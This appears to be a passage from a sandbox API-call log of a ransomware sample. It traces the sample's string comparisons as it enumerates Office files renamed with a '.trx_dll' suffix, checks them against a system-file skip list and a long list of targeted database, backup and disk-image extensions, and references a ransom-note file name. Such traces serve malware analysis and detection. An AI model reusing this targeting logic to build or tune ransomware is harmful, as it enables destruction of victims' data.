	[0050.987] lstrlenW (lpString="te") returned 2
	[0050.987] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0050.987] lstrlenW (lpString="teacher") returned 7
	[0050.987] lstrcmpiW (lpString1="trx_dll", lpString2="teacher") returned 1
	[0050.987] lstrlenW (lpString="tmd") returned 3
	[0050.987] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0050.987] lstrlenW (lpString="tps") returned 3
	[0050.987] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0050.987] lstrlenW (lpString="trc") returned 3
	[0050.987] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0050.987] lstrlenW (lpString="trc") returned 3
	[0050.987] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0050.987] lstrlenW (lpString="trm") returned 3
	[0050.987] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0050.987] lstrlenW (lpString="udb") returned 3
	[0050.987] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0050.987] lstrlenW (lpString="udl") returned 3
	[0050.987] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0050.987] lstrlenW (lpString="usr") returned 3
	[0050.987] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0050.988] lstrlenW (lpString="v12") returned 3
	[0050.988] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0050.988] lstrlenW (lpString="vis") returned 3
	[0050.988] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0050.988] lstrlenW (lpString="vpd") returned 3
	[0050.988] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0050.988] lstrlenW (lpString="vvv") returned 3
	[0050.988] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0050.988] lstrlenW (lpString="wdb") returned 3
	[0050.988] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0050.988] lstrlenW (lpString="wmdb") returned 4
	[0050.988] lstrcmpiW (lpString1="_dll", lpString2="wmdb") returned -1
	[0050.988] lstrlenW (lpString="wrk") returned 3
	[0050.988] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0050.988] lstrlenW (lpString="xdb") returned 3
	[0050.988] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0050.988] lstrlenW (lpString="xld") returned 3
	[0050.988] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0050.988] lstrlenW (lpString="xmlff") returned 5
	[0050.988] lstrcmpiW (lpString1="x_dll", lpString2="xmlff") returned -1
	[0050.988] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74912800, ftCreationTime.dwHighDateTime=0x1cac7f7, ftLastAccessTime.dwLowDateTime=0xeedf6c30, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x74912800, ftLastWriteTime.dwHighDateTime=0x1cac7f7, nFileSizeHigh=0x0, nFileSizeLow=0xb960, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GRINTL32.DLL.trx_dll", cAlternateFileName="GRINTL~1.TRX")) returned 1
	[0050.988] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.988] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2="Apollon865.txt.exe") returned 1
	[0050.988] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2=".") returned 1
	[0050.988] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2="..") returned 1
	[0050.988] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2="windows") returned -1
	[0050.988] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2="bootmgr") returned 1
	[0050.988] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2="temp") returned -1
	[0050.988] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2="pagefile.sys") returned -1
	[0050.988] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2="boot") returned 1
	[0050.988] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2="ids.txt") returned -1
	[0050.988] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2="ntuser.dat") returned -1
	[0050.988] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2="perflogs") returned -1
	[0050.988] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2="MSBuild") returned -1
	[0050.989] lstrlenW (lpString="GRINTL32.DLL.trx_dll") returned 20
	[0050.989] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\ENVELOPR.DLL.trx_dll") returned 68
	[0050.989] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="GRINTL32.DLL.trx_dll" | out: lpString1="GRINTL32.DLL.trx_dll") returned="GRINTL32.DLL.trx_dll"
	[0050.989] lstrlenW (lpString="GRINTL32.DLL.trx_dll") returned 20
	[0050.989] lstrlenW (lpString="Apollon865") returned 10
	[0050.989] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0050.989] lstrlenW (lpString=".dll") returned 4
	[0050.989] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2=".dll") returned 1
	[0050.989] lstrlenW (lpString=".lnk") returned 4
	[0050.989] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2=".lnk") returned 1
	[0050.989] lstrlenW (lpString=".ini") returned 4
	[0050.989] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2=".ini") returned 1
	[0050.989] lstrlenW (lpString=".sys") returned 4
	[0050.989] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2=".sys") returned 1
	[0050.989] lstrlenW (lpString="GRINTL32.DLL.trx_dll") returned 20
	[0050.989] lstrlenW (lpString="bak") returned 3
	[0050.989] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0050.989] lstrlenW (lpString="ba_") returned 3
	[0050.989] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0050.989] lstrlenW (lpString="dbb") returned 3
	[0050.989] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0050.989] lstrlenW (lpString="vmdk") returned 4
	[0050.989] lstrcmpiW (lpString1="_dll", lpString2="vmdk") returned -1
	[0050.989] lstrlenW (lpString="rar") returned 3
	[0050.989] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0050.989] lstrlenW (lpString="zip") returned 3
	[0050.989] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0050.989] lstrlenW (lpString="tgz") returned 3
	[0050.989] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0050.989] lstrlenW (lpString="vbox") returned 4
	[0050.989] lstrcmpiW (lpString1="_dll", lpString2="vbox") returned -1
	[0050.989] lstrlenW (lpString="vdi") returned 3
	[0050.989] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0050.989] lstrlenW (lpString="vhd") returned 3
	[0050.990] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0050.990] lstrlenW (lpString="vhdx") returned 4
	[0050.990] lstrcmpiW (lpString1="_dll", lpString2="vhdx") returned -1
	[0050.990] lstrlenW (lpString="avhd") returned 4
	[0050.990] lstrcmpiW (lpString1="_dll", lpString2="avhd") returned -1
	[0050.990] lstrlenW (lpString="db") returned 2
	[0050.990] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0050.990] lstrlenW (lpString="db2") returned 3
	[0050.990] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0050.990] lstrlenW (lpString="db3") returned 3
	[0050.990] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0050.990] lstrlenW (lpString="dbf") returned 3
	[0050.990] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0050.990] lstrlenW (lpString="mdf") returned 3
	[0050.990] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0050.990] lstrlenW (lpString="mdb") returned 3
	[0050.990] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0050.990] lstrlenW (lpString="sql") returned 3
	[0050.990] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0050.990] lstrlenW (lpString="sqlite") returned 6
	[0050.990] lstrcmpiW (lpString1="rx_dll", lpString2="sqlite") returned -1
	[0050.990] lstrlenW (lpString="sqlite3") returned 7
	[0050.990] lstrcmpiW (lpString1="trx_dll", lpString2="sqlite3") returned 1
	[0050.990] lstrlenW (lpString="sqlitedb") returned 8
	[0050.990] lstrcmpiW (lpString1=".trx_dll", lpString2="sqlitedb") returned -1
	[0050.990] lstrlenW (lpString="xml") returned 3
	[0050.990] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0050.990] lstrlenW (lpString="$er") returned 3
	[0050.990] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0050.990] lstrlenW (lpString="4dd") returned 3
	[0050.990] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0050.990] lstrlenW (lpString="4dl") returned 3
	[0050.990] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0050.990] lstrlenW (lpString="^^^") returned 3
	[0050.990] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0050.991] lstrlenW (lpString="abs") returned 3
	[0050.991] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0050.991] lstrlenW (lpString="abx") returned 3
	[0050.991] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0050.991] lstrlenW (lpString="accdb") returned 5
	[0050.991] lstrcmpiW (lpString1="x_dll", lpString2="accdb") returned 1
	[0050.991] lstrlenW (lpString="accdc") returned 5
	[0050.991] lstrcmpiW (lpString1="x_dll", lpString2="accdc") returned 1
	[0050.991] lstrlenW (lpString="accde") returned 5
	[0050.991] lstrcmpiW (lpString1="x_dll", lpString2="accde") returned 1
	[0050.991] lstrlenW (lpString="accdr") returned 5
	[0050.991] lstrcmpiW (lpString1="x_dll", lpString2="accdr") returned 1
	[0050.991] lstrlenW (lpString="accdt") returned 5
	[0050.991] lstrcmpiW (lpString1="x_dll", lpString2="accdt") returned 1
	[0050.991] lstrlenW (lpString="accdw") returned 5
	[0050.991] lstrcmpiW (lpString1="x_dll", lpString2="accdw") returned 1
	[0050.991] lstrlenW (lpString="accft") returned 5
	[0050.991] lstrcmpiW (lpString1="x_dll", lpString2="accft") returned 1
	[0050.991] lstrlenW (lpString="adb") returned 3
	[0050.991] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0050.991] lstrlenW (lpString="adb") returned 3
	[0050.991] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0050.991] lstrlenW (lpString="ade") returned 3
	[0050.991] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0050.991] lstrlenW (lpString="adf") returned 3
	[0050.991] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0050.991] lstrlenW (lpString="adn") returned 3
	[0050.991] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0050.991] lstrlenW (lpString="adp") returned 3
	[0050.991] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0050.991] lstrlenW (lpString="alf") returned 3
	[0050.991] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0050.991] lstrlenW (lpString="ask") returned 3
	[0050.991] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0050.992] lstrlenW (lpString="btr") returned 3
	[0050.992] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0050.992] lstrlenW (lpString="cat") returned 3
	[0050.992] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0050.992] lstrlenW (lpString="cdb") returned 3
	[0050.992] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0050.992] lstrlenW (lpString="ckp") returned 3
	[0050.992] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0050.992] lstrlenW (lpString="cma") returned 3
	[0050.992] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0050.992] lstrlenW (lpString="cpd") returned 3
	[0050.992] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0050.992] lstrlenW (lpString="dacpac") returned 6
	[0050.992] lstrcmpiW (lpString1="rx_dll", lpString2="dacpac") returned 1
	[0050.992] lstrlenW (lpString="dad") returned 3
	[0050.992] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0050.992] lstrlenW (lpString="dadiagrams") returned 10
	[0050.992] lstrcmpiW (lpString1="LL.trx_dll", lpString2="dadiagrams") returned 1
	[0050.992] lstrlenW (lpString="daschema") returned 8
	[0050.992] lstrcmpiW (lpString1=".trx_dll", lpString2="daschema") returned -1
	[0050.992] lstrlenW (lpString="db-journal") returned 10
	[0050.992] lstrcmpiW (lpString1="LL.trx_dll", lpString2="db-journal") returned 1
	[0050.992] lstrlenW (lpString="db-shm") returned 6
	[0050.992] lstrcmpiW (lpString1="rx_dll", lpString2="db-shm") returned 1
	[0050.992] lstrlenW (lpString="db-wal") returned 6
	[0050.992] lstrcmpiW (lpString1="rx_dll", lpString2="db-wal") returned 1
	[0050.992] lstrlenW (lpString="dbc") returned 3
	[0050.992] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0050.992] lstrlenW (lpString="dbs") returned 3
	[0050.992] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0050.992] lstrlenW (lpString="dbt") returned 3
	[0050.992] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0050.992] lstrlenW (lpString="dbv") returned 3
	[0050.992] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0050.993] lstrlenW (lpString="dbx") returned 3
	[0050.993] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0050.993] lstrlenW (lpString="dcb") returned 3
	[0050.993] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0050.993] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="GRINTL32.REST.trx_dll" | out: lpString1="GRINTL32.REST.trx_dll") returned="GRINTL32.REST.trx_dll"
	[0050.993] lstrlenW (lpString="GRINTL32.REST.trx_dll") returned 21
	[0050.993] lstrlenW (lpString="Apollon865") returned 10
	[0050.993] lstrcmpiW (lpString1="ST.trx_dll", lpString2="Apollon865") returned 1
	[0050.993] lstrlenW (lpString=".dll") returned 4
	[0050.993] lstrcmpiW (lpString1="GRINTL32.REST.trx_dll", lpString2=".dll") returned 1
	[0050.993] lstrlenW (lpString=".lnk") returned 4
	[0050.993] lstrcmpiW (lpString1="GRINTL32.REST.trx_dll", lpString2=".lnk") returned 1
	[0050.993] lstrlenW (lpString=".ini") returned 4
	[0050.993] lstrcmpiW (lpString1="GRINTL32.REST.trx_dll", lpString2=".ini") returned 1
	[0050.993] lstrlenW (lpString=".sys") returned 4
	[0050.993] lstrcmpiW (lpString1="GRINTL32.REST.trx_dll", lpString2=".sys") returned 1
	[0050.993] lstrlenW (lpString="GRINTL32.REST.trx_dll") returned 21
	[0050.993] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="MAPIR.DLL.trx_dll" | out: lpString1="MAPIR.DLL.trx_dll") returned="MAPIR.DLL.trx_dll"
	[0050.993] lstrlenW (lpString="MAPIR.DLL.trx_dll") returned 17
	[0050.993] lstrlenW (lpString="Apollon865") returned 10
	[0050.993] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0050.993] lstrlenW (lpString=".dll") returned 4
	[0050.993] lstrcmpiW (lpString1="MAPIR.DLL.trx_dll", lpString2=".dll") returned 1
	[0050.993] lstrlenW (lpString=".lnk") returned 4
	[0050.993] lstrcmpiW (lpString1="MAPIR.DLL.trx_dll", lpString2=".lnk") returned 1
	[0050.993] lstrlenW (lpString=".ini") returned 4
	[0050.993] lstrcmpiW (lpString1="MAPIR.DLL.trx_dll", lpString2=".ini") returned 1
	[0050.993] lstrlenW (lpString=".sys") returned 4
	[0050.993] lstrcmpiW (lpString1="MAPIR.DLL.trx_dll", lpString2=".sys") returned 1
	[0050.994] lstrlenW (lpString="MAPIR.DLL.trx_dll") returned 17
	[0050.994] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="MOR6INT.REST.trx_dll" | out: lpString1="MOR6INT.REST.trx_dll") returned="MOR6INT.REST.trx_dll"
	[0050.994] lstrlenW (lpString="MOR6INT.REST.trx_dll") returned 20
	[0050.994] lstrlenW (lpString="Apollon865") returned 10
	[0050.994] lstrcmpiW (lpString1="ST.trx_dll", lpString2="Apollon865") returned 1
	[0050.994] lstrlenW (lpString=".dll") returned 4
	[0050.994] lstrcmpiW (lpString1="MOR6INT.REST.trx_dll", lpString2=".dll") returned 1
	[0050.994] lstrlenW (lpString=".lnk") returned 4
	[0050.994] lstrcmpiW (lpString1="MOR6INT.REST.trx_dll", lpString2=".lnk") returned 1
	[0050.994] lstrlenW (lpString=".ini") returned 4
	[0050.994] lstrcmpiW (lpString1="MOR6INT.REST.trx_dll", lpString2=".ini") returned 1
	[0050.994] lstrlenW (lpString=".sys") returned 4
	[0050.994] lstrcmpiW (lpString1="MOR6INT.REST.trx_dll", lpString2=".sys") returned 1
	[0050.994] lstrlenW (lpString="MOR6INT.REST.trx_dll") returned 20
	[0050.994] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="MSOINTL.DLL.trx_dll" | out: lpString1="MSOINTL.DLL.trx_dll") returned="MSOINTL.DLL.trx_dll"
	[0050.994] lstrlenW (lpString="MSOINTL.DLL.trx_dll") returned 19
	[0050.994] lstrlenW (lpString="Apollon865") returned 10
	[0050.994] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0050.994] lstrlenW (lpString=".dll") returned 4
	[0050.994] lstrcmpiW (lpString1="MSOINTL.DLL.trx_dll", lpString2=".dll") returned 1
	[0050.994] lstrlenW (lpString=".lnk") returned 4
	[0050.994] lstrcmpiW (lpString1="MSOINTL.DLL.trx_dll", lpString2=".lnk") returned 1
	[0050.994] lstrlenW (lpString=".ini") returned 4
	[0050.994] lstrcmpiW (lpString1="MSOINTL.DLL.trx_dll", lpString2=".ini") returned 1
	[0050.994] lstrlenW (lpString=".sys") returned 4
	[0050.994] lstrcmpiW (lpString1="MSOINTL.DLL.trx_dll", lpString2=".sys") returned 1
	[0050.994] lstrlenW (lpString="MSOINTL.DLL.trx_dll") returned 19
	[0050.994] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="MSOINTL.REST.trx_dll" | out: lpString1="MSOINTL.REST.trx_dll") returned="MSOINTL.REST.trx_dll"
	[0050.994] lstrlenW (lpString="MSOINTL.REST.trx_dll") returned 20
	[0050.994] lstrlenW (lpString="Apollon865") returned 10
	[0050.995] lstrcmpiW (lpString1="ST.trx_dll", lpString2="Apollon865") returned 1
	[0050.995] lstrlenW (lpString=".dll") returned 4
	[0050.995] lstrcmpiW (lpString1="MSOINTL.REST.trx_dll", lpString2=".dll") returned 1
	[0050.995] lstrlenW (lpString=".lnk") returned 4
	[0050.995] lstrcmpiW (lpString1="MSOINTL.REST.trx_dll", lpString2=".lnk") returned 1
	[0050.995] lstrlenW (lpString=".ini") returned 4
	[0050.995] lstrcmpiW (lpString1="MSOINTL.REST.trx_dll", lpString2=".ini") returned 1
	[0050.995] lstrlenW (lpString=".sys") returned 4
	[0050.995] lstrcmpiW (lpString1="MSOINTL.REST.trx_dll", lpString2=".sys") returned 1
	[0050.995] lstrlenW (lpString="MSOINTL.REST.trx_dll") returned 20
	[0050.995] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="OMSINTL.DLL.trx_dll" | out: lpString1="OMSINTL.DLL.trx_dll") returned="OMSINTL.DLL.trx_dll"
	[0050.995] lstrlenW (lpString="OMSINTL.DLL.trx_dll") returned 19
	[0050.995] lstrlenW (lpString="Apollon865") returned 10
	[0050.995] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0050.995] lstrlenW (lpString=".dll") returned 4
	[0050.995] lstrcmpiW (lpString1="OMSINTL.DLL.trx_dll", lpString2=".dll") returned 1
	[0050.995] lstrlenW (lpString=".lnk") returned 4
	[0050.995] lstrcmpiW (lpString1="OMSINTL.DLL.trx_dll", lpString2=".lnk") returned 1
	[0050.995] lstrlenW (lpString=".ini") returned 4
	[0050.995] lstrcmpiW (lpString1="OMSINTL.DLL.trx_dll", lpString2=".ini") returned 1
	[0050.995] lstrlenW (lpString=".sys") returned 4
	[0050.995] lstrcmpiW (lpString1="OMSINTL.DLL.trx_dll", lpString2=".sys") returned 1
	[0050.995] lstrlenW (lpString="OMSINTL.DLL.trx_dll") returned 19
	[0050.995] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="ONINTL.DLL.trx_dll" | out: lpString1="ONINTL.DLL.trx_dll") returned="ONINTL.DLL.trx_dll"
	[0050.995] lstrlenW (lpString="ONINTL.DLL.trx_dll") returned 18
	[0050.995] lstrlenW (lpString="Apollon865") returned 10
	[0050.995] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0050.995] lstrlenW (lpString=".dll") returned 4
	[0050.995] lstrcmpiW (lpString1="ONINTL.DLL.trx_dll", lpString2=".dll") returned 1
	[0050.995] lstrlenW (lpString=".lnk") returned 4
	[0050.995] lstrcmpiW (lpString1="ONINTL.DLL.trx_dll", lpString2=".lnk") returned 1
	[0050.996] lstrlenW (lpString=".ini") returned 4
	[0050.996] lstrcmpiW (lpString1="ONINTL.DLL.trx_dll", lpString2=".ini") returned 1
	[0050.996] lstrlenW (lpString=".sys") returned 4
	[0050.996] lstrcmpiW (lpString1="ONINTL.DLL.trx_dll", lpString2=".sys") returned 1
	[0050.996] lstrlenW (lpString="ONINTL.DLL.trx_dll") returned 18
	[0050.996] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="ONINTL.REST.trx_dll" | out: lpString1="ONINTL.REST.trx_dll") returned="ONINTL.REST.trx_dll"
	[0050.996] lstrlenW (lpString="ONINTL.REST.trx_dll") returned 19
	[0050.996] lstrlenW (lpString="Apollon865") returned 10
	[0050.996] lstrcmpiW (lpString1="ST.trx_dll", lpString2="Apollon865") returned 1
	[0050.996] lstrlenW (lpString=".dll") returned 4
	[0050.996] lstrcmpiW (lpString1="ONINTL.REST.trx_dll", lpString2=".dll") returned 1
	[0050.996] lstrlenW (lpString=".lnk") returned 4
	[0050.996] lstrcmpiW (lpString1="ONINTL.REST.trx_dll", lpString2=".lnk") returned 1
	[0050.996] lstrlenW (lpString=".ini") returned 4
	[0050.996] lstrcmpiW (lpString1="ONINTL.REST.trx_dll", lpString2=".ini") returned 1
	[0050.996] lstrlenW (lpString=".sys") returned 4
	[0050.996] lstrcmpiW (lpString1="ONINTL.REST.trx_dll", lpString2=".sys") returned 1
	[0050.996] lstrlenW (lpString="ONINTL.REST.trx_dll") returned 19
	[0050.996] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="OUTLLIBR.DLL.trx_dll" | out: lpString1="OUTLLIBR.DLL.trx_dll") returned="OUTLLIBR.DLL.trx_dll"
	[0050.996] lstrlenW (lpString="OUTLLIBR.DLL.trx_dll") returned 20
	[0050.996] lstrlenW (lpString="Apollon865") returned 10
	[0050.996] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0050.996] lstrlenW (lpString=".dll") returned 4
	[0050.996] lstrcmpiW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2=".dll") returned 1
	[0050.996] lstrlenW (lpString=".lnk") returned 4
	[0050.996] lstrcmpiW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2=".lnk") returned 1
	[0050.996] lstrlenW (lpString=".ini") returned 4
	[0050.996] lstrcmpiW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2=".ini") returned 1
	[0050.996] lstrlenW (lpString=".sys") returned 4
	[0050.996] lstrcmpiW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2=".sys") returned 1
	[0050.996] lstrlenW (lpString="OUTLLIBR.DLL.trx_dll") returned 20
	[0050.997] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="OUTLLIBR.REST.trx_dll" | out: lpString1="OUTLLIBR.REST.trx_dll") returned="OUTLLIBR.REST.trx_dll"
	[0050.997] lstrlenW (lpString="OUTLLIBR.REST.trx_dll") returned 21
	[0050.997] lstrlenW (lpString="Apollon865") returned 10
	[0050.997] lstrcmpiW (lpString1="ST.trx_dll", lpString2="Apollon865") returned 1
	[0050.997] lstrlenW (lpString=".dll") returned 4
	[0050.997] lstrcmpiW (lpString1="OUTLLIBR.REST.trx_dll", lpString2=".dll") returned 1
	[0050.997] lstrlenW (lpString=".lnk") returned 4
	[0050.997] lstrcmpiW (lpString1="OUTLLIBR.REST.trx_dll", lpString2=".lnk") returned 1
	[0050.997] lstrlenW (lpString=".ini") returned 4
	[0050.997] lstrcmpiW (lpString1="OUTLLIBR.REST.trx_dll", lpString2=".ini") returned 1
	[0050.997] lstrlenW (lpString=".sys") returned 4
	[0050.997] lstrcmpiW (lpString1="OUTLLIBR.REST.trx_dll", lpString2=".sys") returned 1
	[0050.997] lstrlenW (lpString="OUTLLIBR.REST.trx_dll") returned 21
	[0050.997] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="OUTLWVW.DLL.trx_dll" | out: lpString1="OUTLWVW.DLL.trx_dll") returned="OUTLWVW.DLL.trx_dll"
	[0050.997] lstrlenW (lpString="OUTLWVW.DLL.trx_dll") returned 19
	[0050.997] lstrlenW (lpString="Apollon865") returned 10
	[0050.997] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0050.997] lstrlenW (lpString=".dll") returned 4
	[0050.997] lstrcmpiW (lpString1="OUTLWVW.DLL.trx_dll", lpString2=".dll") returned 1
	[0050.997] lstrlenW (lpString=".lnk") returned 4
	[0050.997] lstrcmpiW (lpString1="OUTLWVW.DLL.trx_dll", lpString2=".lnk") returned 1
	[0050.997] lstrlenW (lpString=".ini") returned 4
	[0050.997] lstrcmpiW (lpString1="OUTLWVW.DLL.trx_dll", lpString2=".ini") returned 1
	[0050.997] lstrlenW (lpString=".sys") returned 4
	[0050.997] lstrcmpiW (lpString1="OUTLWVW.DLL.trx_dll", lpString2=".sys") returned 1
	[0050.997] lstrlenW (lpString="OUTLWVW.DLL.trx_dll") returned 19
	[0050.998] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="PPINTL.DLL.trx_dll" | out: lpString1="PPINTL.DLL.trx_dll") returned="PPINTL.DLL.trx_dll"
	[0050.998] lstrlenW (lpString="PPINTL.DLL.trx_dll") returned 18
	[0050.998] lstrlenW (lpString="Apollon865") returned 10
	[0050.998] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0050.998] lstrlenW (lpString=".dll") returned 4
	[0050.998] lstrcmpiW (lpString1="PPINTL.DLL.trx_dll", lpString2=".dll") returned 1
	[0050.998] lstrlenW (lpString=".lnk") returned 4
	[0050.998] lstrcmpiW (lpString1="PPINTL.DLL.trx_dll", lpString2=".lnk") returned 1
	[0050.998] lstrlenW (lpString=".ini") returned 4
	[0050.998] lstrcmpiW (lpString1="PPINTL.DLL.trx_dll", lpString2=".ini") returned 1
	[0050.998] lstrlenW (lpString=".sys") returned 4
	[0050.998] lstrcmpiW (lpString1="PPINTL.DLL.trx_dll", lpString2=".sys") returned 1
	[0050.998] lstrlenW (lpString="PPINTL.DLL.trx_dll") returned 18
	[0050.998] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="PPINTL.REST.trx_dll" | out: lpString1="PPINTL.REST.trx_dll") returned="PPINTL.REST.trx_dll"
	[0050.998] lstrlenW (lpString="PPINTL.REST.trx_dll") returned 19
	[0050.998] lstrlenW (lpString="Apollon865") returned 10
	[0050.998] lstrcmpiW (lpString1="ST.trx_dll", lpString2="Apollon865") returned 1
	[0050.998] lstrlenW (lpString=".dll") returned 4
	[0050.998] lstrcmpiW (lpString1="PPINTL.REST.trx_dll", lpString2=".dll") returned 1
	[0050.998] lstrlenW (lpString=".lnk") returned 4
	[0050.998] lstrcmpiW (lpString1="PPINTL.REST.trx_dll", lpString2=".lnk") returned 1
	[0050.998] lstrlenW (lpString=".ini") returned 4
	[0050.998] lstrcmpiW (lpString1="PPINTL.REST.trx_dll", lpString2=".ini") returned 1
	[0050.998] lstrlenW (lpString=".sys") returned 4
	[0050.998] lstrcmpiW (lpString1="PPINTL.REST.trx_dll", lpString2=".sys") returned 1
	[0050.998] lstrlenW (lpString="PPINTL.REST.trx_dll") returned 19
	[0050.998] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="PUB6INTL.DLL.trx_dll" | out: lpString1="PUB6INTL.DLL.trx_dll") returned="PUB6INTL.DLL.trx_dll"
	[0050.998] lstrlenW (lpString="PUB6INTL.DLL.trx_dll") returned 20
	[0050.998] lstrlenW (lpString="Apollon865") returned 10
	[0050.998] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0050.999] lstrlenW (lpString=".dll") returned 4
	[0050.999] lstrcmpiW (lpString1="PUB6INTL.DLL.trx_dll", lpString2=".dll") returned 1
	[0050.999] lstrlenW (lpString=".lnk") returned 4
	[0050.999] lstrcmpiW (lpString1="PUB6INTL.DLL.trx_dll", lpString2=".lnk") returned 1
	[0050.999] lstrlenW (lpString=".ini") returned 4
